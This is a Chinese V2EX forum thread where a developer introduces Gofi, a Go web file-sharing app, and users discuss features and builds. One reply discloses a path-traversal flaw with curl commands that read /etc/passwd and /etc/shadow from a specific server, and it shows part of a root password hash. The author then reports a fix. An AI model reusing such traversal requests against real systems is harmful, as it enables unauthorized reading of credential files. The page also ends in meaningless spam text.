一个用 Go 语言实现的 Web 网盘应用-Gofi - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
爱意满满的作品展示区。
Smash
V2EX    分享创造

一个用 Go 语言实现的 Web 网盘应用-Gofi

  •  4
     
  •   Smash 2019-12-14 00:02:09 +08:00 12900 次点击
    这是一个创建于 2129 天前的主题,其中的信息可能已经有所发展或是发生改变。

    最近在继续学习 go 语言,又在折腾 nas,遂花了点时间写了一个简单的网盘 Web 应用,类似 filebrowser/filebrowser(非模仿,我也是快写好了才知道有一个轮子了)。

    技术栈是 Golang + Ant Design Vue(几个月没写代码了,轻喷)

    目前主要是我家庭局域网在用,没有做权限认证,所以没有任何安全性保证,请不要在公网上部署。

    应该会断断续续更新,因为明年中旬结婚前可能都不准备当社畜了,所以这段时间主要是在筹备婚礼,减脂,写点小代码,等待判决书下达,思考人生。

    Github 地址:

    https://github.com/Sloaix/Gofi

    更新计划:

    https://github.com/Sloaix/Gofi/projects

    上面 deadline 就不要当真了,因为每个月总有那么几天不想写代码:)。

    希望对大家有点小用。

    V2EX image uploaded by TsingScript
    第 1 条附言    2019-12-14 00:44:17 +08:00
    由于所有前端静态文件都由 bindata 生成的二进制文件内嵌到 Go 内部,所以只有一个可执行文件,并且使用了 sqlite3,十分容易部署。
    第 2 条附言    2019-12-14 11:43:25 +08:00
    任意文件下载漏洞已经修复。
    第 3 条附言    2019-12-14 13:38:37 +08:00
    第 4 条附言    2019-12-14 17:31:33 +08:00
    如果是要自己编译的话,不建议自己在 Windows 上编译,因为环境比较难配置。而且编译部分文档暂时没有(文档网站已经开始搭建,迭代暂时暂停,12 月 17 日前应该有一个初步的文档),只有 build.sh 脚本,如果你想自己编译,由于使用了 xgo,还需要安装 docker 才行,同时需要安装 golang,yarn,然后运行./build.sh 即可,默认输出到 output 目录。
    第 5 条附言    2019-12-14 23:58:01 +08:00
    文档网址: https://gofi-doc.sloaix.com

    还比较粗糙
    第 6 条附言    2019-12-17 15:47:33 +08:00
    图片挂了,补个图
    https://imgchr.com/i/QomOS0
    第 7 条附言    2019-12-17 15:48:03 +08:00
    <img src="https://s2.ax1x.com/2019/12/17/QomOS0.md.jpg" alt="QomOS0.jpg" border="0" />
    57 条回复    2021-09-07 20:33:07 +08:00
    Smash
        1
    Smash  
    OP
       2019-12-14 00:03:08 +08:00
    PS.可以在吃灰的 Android 手机上部署,我已经在 Nexus5 上部署成功。
    Smash
        2
    Smash  
    OP
       2019-12-14 00:05:12 +08:00
    预览网址:

    http://gofi.sloaix.com
    KasuganoSoras
        3
    KasuganoSoras  
       2019-12-14 00:07:29 +08:00
    界面好评,比隔壁某闭源网盘好看多了
    wslwsl
        4
    wslwsl  
       2019-12-14 07:22:59 +08:00 via Android
    好看,赞,最好手机端加个下载按钮就更方便了。
    Smash
        5
    Smash  
    OP
       2019-12-14 08:00:06 +08:00 via Android
    @wslwsl #4 还没有适配手机。。。
    slwl
        6
    slwl  
       2019-12-14 08:02:17 +08:00 via iPhone
    什么时候加个权限控制,感觉很好用哈
    takemeh
        7
    takemeh  
       2019-12-14 08:47:12 +08:00   3
    @KasuganoSoras 你说的是我写的这个吗 http://cnt2.cf:5156/
    @slwl 我那个有权限,体积小,能放 OpenWrt 上运行。
    takemeh
        8
    takemeh  
       2019-12-14 08:53:12 +08:00   2
    @slwl 演示地址的密码和用户名都是 abc
    界面很简陋的,和楼主的比起来相形见绌。
    Smash
        9
    Smash  
    OP
       2019-12-14 08:55:15 +08:00 via Android
    @slwl #6 这个会加上的,不 2019 年来不及了。想加的功能有点多。
    bequt
        10
    bequt  
       2019-12-14 09:19:26 +08:00 via Android
    @takemeh 网址挂了
    bequt
        11
    bequt  
       2019-12-14 09:22:09 +08:00 via Android   1
    @takemeh 恢复了,图标换新了耶
    rootooroot
        12
    rootooroot  
       2019-12-14 10:33:46 +08:00   1
    任意文件下载 权限太高了 连 shadow 都可以读
    http://129.226.186.76/api/download?path=../../../etc/passwd

    curl http://129.226.186.76/api/download\?path\=../../../../etc/issue
    Ubuntu 16.04.1 LTS \n \l

    curl http://129.226.186.76/api/download\?path\=../../../../etc/shadow
    root:$6$8jFcAk07$dZc99NqV8EtKk8mH53Ayi8gS8JhejmWemtppqCmC2Z0yj7vfMXxXrDMf
    jngke931126
        13
    jngke931126  
       2019-12-14 10:49:25 +08:00
    @takemeh #7 你这个 webd 算是比较实用了,基本功能都有了,也没有楼上那个跨出目录读取任意文件漏洞。
    期待一下能不能支持多用户呢,每个用户一个目录,相互之间能用权限分离控制。
    以及 https 支持,这个部署到外网很有必要了。

    同时非常好奇这些功能怎么到这么小体积的,
    略微看了下,没有引用外部东西,可执行文件也没有压缩加壳。

    意外的是 linux 可执行文件原来可以跨不同发行版运行啊,之前一直以为要重新编译。

    你还应该好好做个网站,感觉正规一些,直接用个带端口的演示地址感觉对不起这个软件。
    下载到的版本和演示版本外观不一样啊,还没有更新吗?

    最后希望这种自建方案越来越多,选择多了那些公用盘才不会限速。
    Smash
        14
    Smash  
    OP
       2019-12-14 10:49:35 +08:00 via Android
    @rootooroot #12 看到了,谢谢老哥。我先把安全这块简单处理一下吧。
    takemeh
        15
    takemeh  
       2019-12-14 11:30:10 +08:00   1
    @jngke931126
    webd 这个体积实现这些功能是正常的,本来就是很简单的东西。
    一些 app 很大是因为增加了对用户没有必要的额外东西,或把部分功能前置到了客户端。
    linux 的二进制兼容性本来就很好,只要不用到太高版本内核和 glibc 的特性基本没问题。
    webd 只依赖内核和 C 运行库(glibc 或 musl)
    你说的功能我尽量实现吧。演示版和下载到的不一样是因为正在开发中。
    richzhu
        16
    richzhu  
       2019-12-14 11:46:51 +08:00
    界面满分,等完善了 权限控制,资源预览,文本在线编辑了再来用 哈哈~
    xyok
        17
    xyok  
       2019-12-14 12:10:03 +08:00
    挺不错的,logo 图标也是自己设计的吗
    alexliux
        18
    alexliux  
       2019-12-14 13:29:23 +08:00 via Android
    star 学习一波
    Smash
        19
    Smash  
    OP
       2019-12-14 13:39:15 +08:00   1
    @xyok 自己设计的,用手绘板出个草图,再用 PS 出的矢量图。
    Smash
        20
    Smash  
    OP
       2019-12-14 13:41:27 +08:00
    @takemeh 你的网盘挺好,体积小,加载速度快。我的 gofi 前端体积还没优化,放在香港的服务器上光加载 js 就挺慢了。
    yukiloh
        21
    yukiloh  
       2019-12-14 13:56:18 +08:00 via Android
    卧槽可以在安卓上跑这个就有点骚了,手上太多吃灰安卓
    FEDT
        22
    FEDT  
       2019-12-14 14:17:11 +08:00 via iPhone
    厉害
    Smash
        23
    Smash  
    OP
       2019-12-14 15:23:42 +08:00
    @yukiloh 在 Android 的 /data/local/tmp 目录下,adb 用户具有可执行权限。使用 nohup ./gofi &命令可以启动一个后台运行的 gofi 程序,我在 Nexus5,魅族 mx4 上都测试过了,可以完全运行,但是国内的定制手机对于 adb 用户的目录权限不一样,比如原生系统对 Storage 目录是具有读写权限的,但是我在 mx4 上就只有 /data/local/tmp 目录的读写权限。
    Smash
        24
    Smash  
    OP
       2019-12-14 15:25:26 +08:00
    @yukiloh 目前可以跑,但是挂了之后不能重启,所以如果要在 Android 上跑,还需要搞一个守护进程用来重启 Gofi,这样才能保证稳定性。
    crella
        25/div>
    crella  
       2019-12-14 16:33:45 +08:00
    请问 windows 上怎么编译,要用 msys 吗?
    Smash
        26
    Smash  
    OP
       2019-12-14 17:15:00 +08:00
    @crella release 页面已经编译好了,我默认编译了 MacOS/Windows/Linux/Android(Arm)这几个常用的平台
    slwl
        27
    slwl  
       2019-12-14 17:16:03 +08:00
    吃灰派用来干这个如何
    Smash
        28
    Smash  
    OP
       2019-12-14 17:26:49 +08:00
    @slwl 我有个 zero 和 3B,还没来得及在上面跑过,你可以试试。
    Smash
        29
    Smash  
    OP
       2019-12-14 17:30:41 +08:00
    @crella 如果是要自己编译的话,不建议自己在 Windows 上编译,因为环境比较难配置。而且编译部分文档暂时没有,只有 build.sh 脚本,如果你想自己编译,由于使用了 xgo,还需要安装 docker 才行,同时需要安装 golang,yarn,然后运行./build.sh 即可,默认输出到 output 目录。
    keepeye
        30
    keepeye  
       2019-12-14 17:42:31 +08:00
    我想起了 13 年毕业设计,用 php 撸了个网盘系统,还是分布式存储的
    crella
        31
    crella  
       2019-12-14 17:51:28 +08:00 via Android
    我在 win7 上启动进程成功,打开网页会发生错误,网页右上角弹出窗口提示错误:undefined。
    从 release 最近一个 win64 的链接下载的。不知道是不是没设定文件夹?
    Smash
        32
    Smash  
    OP
       2019-12-14 18:14:05 +08:00
    @crella 我好久没在 Windows 上跑过了,我试一下。
    Smash
        33
    Smash  
    OP
       2019-12-14 18:21:16 +08:00
    @crella 自动获取局域网 ip 出错了,你可能有多个网卡。我这边复现了,你先手动指定一下 ip 吧。用命令行运行 gofi.exe -ip <你的局域网 ip 或者 127.0.0.1>
    Smash
        34
    Smash  
    OP
       2019-12-14 18:22:28 +08:00
    @crella 这个 ip 地址主要是服务端提供的 api 的 ip,供前端请求。
    crella
        35
    crella  
       2019-12-14 18:25:17 +08:00 via Android
    是的,有 vmplayer 网卡和直升机跑道
    Smash
        36
    Smash  
    OP
       2019-12-14 18:25:22 +08:00
    @crella Windows 上的 Gofi,后端 ls api 貌似存在兼容性问题,这块要等我修复一下了。
    crella
        37
    crella  
       2019-12-14 19:34:56 +08:00   1
    我给本机上的虚拟机 linux 上的 gofi 上传一个 700M 的 iso,多次提醒 You have reached maximum request limit. 好奇问一下是什么意思?

    ![gofi.jpg]( https://i.loli.net/2019/12/14/my1KIAqgsSYVwju.jpg)
    SteveAlan
        38
    SteveAlan  
       2019-12-14 21:06:56 +08:00
    界面是用的 ant design 吗?
    Smash
        39
    Smash  
    OP
       2019-12-14 21:23:28 +08:00 via Android
    @crella #37 @crella #37 应该只有在预览模式才有请求频率限制的。启动的时候会打印当前的 environment,能截下图吗
    Smash
        40
    Smash  
    OP
       2019-12-14 21:23:44 +08:00 via Android
    @SteveAlan #38 恩
    Hoshizora
        41
    Hoshizora  
       2019-12-14 22:44:08 +08:00 via Android
    0.5 arm 的那个在手机上运行不了,0.4 的可以,当初始化失败,好像是 sqlite 那出问题了
    Smash
        42
    Smash  
    OP
       2019-12-14 23:56:41 +08:00
    @Hoshizora 我在 issue 上记录一下。兼容性问题
    Smash
        43
    Smash  
    OP
       2019-12-15 03:12:57 +08:00
    @crella 已经在 develop 分支修复了,我明天打个 fix 包
    Tink
        44
    Tink  
    PRO
       2019-12-15 14:30:23 +08:00 via iPhone
    开源好评
    Smash
        45
    Smash  
    OP
       2019-12-15 23:02:10 +08:00
    @crella v0.5.1 已经 release 并修复. gofi-v0.5.1-windows-4.0-amd64.exe
    Smash
        46
    Smash  
    OP
       2019-12-15 23:13:54 +08:00
    bijue
        47
    bijue  
       2019-12-16 07:30:46 +08:00 via Android
    等待什么判决书?
    Maboroshii
        48
    Maboroshii  
       2019-12-16 11:16:47 +08:00
    看了一下只有配置项保存在了 sqlite 里,用 json 保存在文件里我觉得也行,毕竟量不大。
    sqlite 用了 cgo,不方便交叉编译呀。
    Smash
        49
    Smash  
    OP
       2019-12-16 13:10:46 +08:00
    @Maboroshii 目前是可以这样,配置项用文本文件存储,但是我想到后面要做权限认证,这个还是用数据库更方便一些。交叉编译这块目前用的开源库 xgo 实现的。
    Smash
        50
    Smash  
    OP
       2019-12-16 13:11:54 +08:00
    @bijue 想听故事的话,可以看看我时间线。
    vix
        51
    vix  
       2019-12-17 12:30:46 +08:00 via Android
    以前也是玩着实现了个,不过好久没维护了,惭愧。
    Smash
        52
    Smash  
    OP
       2019-12-17 15:40:38 +08:00
    @vix 所以不是国外的好的开源项目就多,而是国内的工程师们都忙于 996 了,233333。
    caik13
        53
    caik13  
       2019-12-18 11:26:19 +08:00
    感谢分享,找了好久 golang 这种的
    tallest
        54
    tallest  
       2019-12-20 15:04:52 +08:00
    lijixi
        55
    lijixi  
       2019-12-27 16:05:33 +08:00
    今天简单研究了几个私有网盘,请教:@smash 您的这个项目比 [filebrowser]( https://github.com/filebrowser/filebrowser) 强在何处呢?
    Smash
        56
    Smash  
    OP
       2019-12-27 17:54:42 +08:00 via Android
    @lijixi #55 那个项目貌似开发者没维护了,社区在维护。主要是差异化吧,想集成的功能不太一样。
    cheek
        57
    cheek  
       2021-09-07 20:33:07 +08:00
    @Smash 作者你好,能 Release 一个 Windows 32 位的吗?老电脑使用 :)
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     2537 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 29ms UTC 01:57 PVG 09:57 LAX 18:57 JFK 21:57
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86